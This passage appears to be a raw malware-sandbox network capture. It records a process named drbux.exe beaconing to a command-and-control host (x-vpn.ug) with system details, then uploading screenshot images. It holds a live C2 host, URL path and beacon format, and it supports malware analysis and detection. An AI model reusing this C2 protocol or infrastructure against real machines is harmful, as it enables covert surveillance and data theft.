Jul 19, 2021 18:35:52.406243086 CEST	6195	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:35:52.406785011 CEST	6198	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:35:52.406923056 CEST	6200	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:35:52.407221079 CEST	6203	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
Jul 19, 2021 18:35:52.407785892 CEST	6206	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:35:52.407967091 CEST	6208	OUT	Data Raw: b9 aa 50 ea 8f 4e 86 2e 32 d0 c4 29 51 95 ad 03 0e 0f 4a 82 48 b1 5c 92 a7 63 ba 35 13 30 3b d5 9b 00 1b 52 b5 0d d0 cc 80 fe 62 ab 53 91 cc 72 2b af 0c a4 11 5e 63 57 56 3d 16 ae ac 7a 99 c1 04 1e 86 ba 3d 27 36 fe 09 be 78 cf ef 25 bc 58 a4 23 Data Ascii: PN.2)QJH\c50;RbSr+^cWV=z='6x%X##V.b3Cxl{[[*R:0aU9AFz?U52Y\|;ct}>_O:8A#HXf{X2&6^m\|c^h
Jul 19, 2021 18:35:52.666369915 CEST	6344	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:35:52 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
53	192.168.2.6	49798	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:35:52.583129883 CEST	6343	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 31 Cache-Control: no-cache Data Raw: 65 30 3d 31 30 30 30 30 30 33 30 30 31 26 75 6e 69 74 3d 31 35 32 31 33 38 35 33 33 32 31 39 Data Ascii: e0=1000003001&unit=152138533219
Jul 19, 2021 18:35:52.677114964 CEST	6345	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:35:52 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
54	192.168.2.6	49799	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:35:52.887454033 CEST	6345	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:35:52.971457005 CEST	6346	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:35:52 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
55	192.168.2.6	49800	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:35:52.974512100 CEST	6346	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:35:52.974764109 CEST	6347	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:35:52.975043058 CEST	6357	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:35:52.975254059 CEST	6359	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:35:53.058037996 CEST	6362	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:35:53.058327913 CEST	6365	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:35:53.059243917 CEST	6368	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:35:53.059427023 CEST	6370	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:35:53.059830904 CEST	6376	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
Jul 19, 2021 18:35:53.060306072 CEST	6380	OUT	Data Raw: b9 aa 50 ea 8f 4e 86 2e 32 d0 c4 29 51 95 ad 03 0e 0f 4a 82 48 b1 5c 92 a7 63 ba 35 13 30 3b d5 9b 00 1b 52 b5 0d d0 cc 80 fe 62 ab 53 91 cc 72 2b af 0c a4 11 5e 63 57 56 3d 16 ae ac 7a 99 c1 04 1e 86 ba 3d 27 36 fe 09 be 78 cf ef 25 bc 58 a4 23 Data Ascii: PN.2)QJH\c50;RbSr+^cWV=z='6x%X##V.b3Cxl{[[*R:0aU9AFz?U52Y\|;ct}>_O:8A#HXf{X2&6^m\|c^h
Jul 19, 2021 18:35:53.060820103 CEST	6385	OUT	Data Raw: ac 91 b4 64 2e 20 5d b8 dc 31 d4 60 63 14 c8 bc 4f 68 91 9b 06 d1 ee 9b 49 5d 35 b4 f8 e2 fb 70 f3 c0 69 96 62 c6 53 11 53 f3 0c 00 10 00 0f e2 78 9b ad d3 fa df fe 01 d8 95 2e bf d6 ab fe 09 37 d8 f4 1b 2d 2c 5f 6a b6 1a d4 06 4d 4e 5b 23 08 b9 Data Ascii: d. ]1`cOhI]5pibSSx.7-,_jMN[#@%<\|1Zmc}enod&`R32\.I'kEh..{<^}A@".1.'885\|@/#_{{kiJu@_#^jV_Fd`u[+DRG;8l
Jul 19, 2021 18:35:53.317307949 CEST	6446	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:35:53 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
56	192.168.2.6	49801	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:35:53.183993101 CEST	6437	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:35:53.277682066 CEST	6445	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:35:53 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
57	192.168.2.6	49803	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:35:53.487777948 CEST	6453	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:35:53.595880032 CEST	6454	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:35:53 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 6 Connection: keep-alive Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
58	192.168.2.6	49804	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:35:53.644011974 CEST	6454	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:35:53.644184113 CEST	6455	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:35:53.644416094 CEST	6465	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:35:53.644582987 CEST	6467	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:35:53.741884947 CEST	6484	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:35:53.742247105 CEST	6489	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:35:53.742574930 CEST	6492	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:35:53.742898941 CEST	6495	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
Jul 19, 2021 18:35:53.743135929 CEST	6498	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:35:53.743843079 CEST	6500	OUT	Data Raw: b9 aa 50 ea 8f 4e 86 2e 32 d0 c4 29 51 95 ad 03 0e 0f 4a 82 48 b1 5c 92 a7 63 ba 35 13 30 3b d5 9b 00 1b 52 b5 0d d0 cc 80 fe 62 ab 53 91 cc 72 2b af 0c a4 11 5e 63 57 56 3d 16 ae ac 7a 99 c1 04 1e 86 ba 3d 27 36 fe 09 be 78 cf ef 25 bc 58 a4 23 Data Ascii: PN.2)QJH\c50;RbSr+^cWV=z='6x%X##V.b3Cxl{[[*R:0aU9AFz?U52Y\|;ct}>_O:8A#HXf{X2&6^m\|c^h
Jul 19, 2021 18:35:53.743870020 CEST	6502	OUT	Data Raw: 6b 34 35 3d 5e ad 54 66 6e 92 35 05 c8 3d 54 53 84 91 37 de 51 59 c1 cd 3c 3d 68 a6 64 e9 97 fc ab 57 fe 01 4c 6b 0b 56 f6 aa c1 e9 c1 cd 3f 75 f4 26 d3 5b 32 43 a5 42 7e eb d4 67 48 1f c3 25 3c 4a 7d 6a 41 33 76 34 72 41 f4 0e 7a 8b a9 51 b4 99 Data Ascii: k45=^Tfn5=TS7QY<=hdWLkV?u&[2CB~gH%<J}jA3v4rAzQLN;t{Qck(S\|TSAP}fKtsOY]Qp~L:Q{&2Ltem=_R)qRwT\|;~Gx@JvxO
Jul 19, 2021 18:35:54.044181108 CEST	6727	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:35:54 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
59	192.168.2.6	49805	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:35:53.812916994 CEST	6535	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:35:53.921087027 CEST	6699	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:35:53 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 6 Connection: keep-alive Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.6	49743	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:35:24.086184025 CEST	1693	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:35:24.086330891 CEST	1694	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:35:24.086512089 CEST	1704	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:35:24.086590052 CEST	1706	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
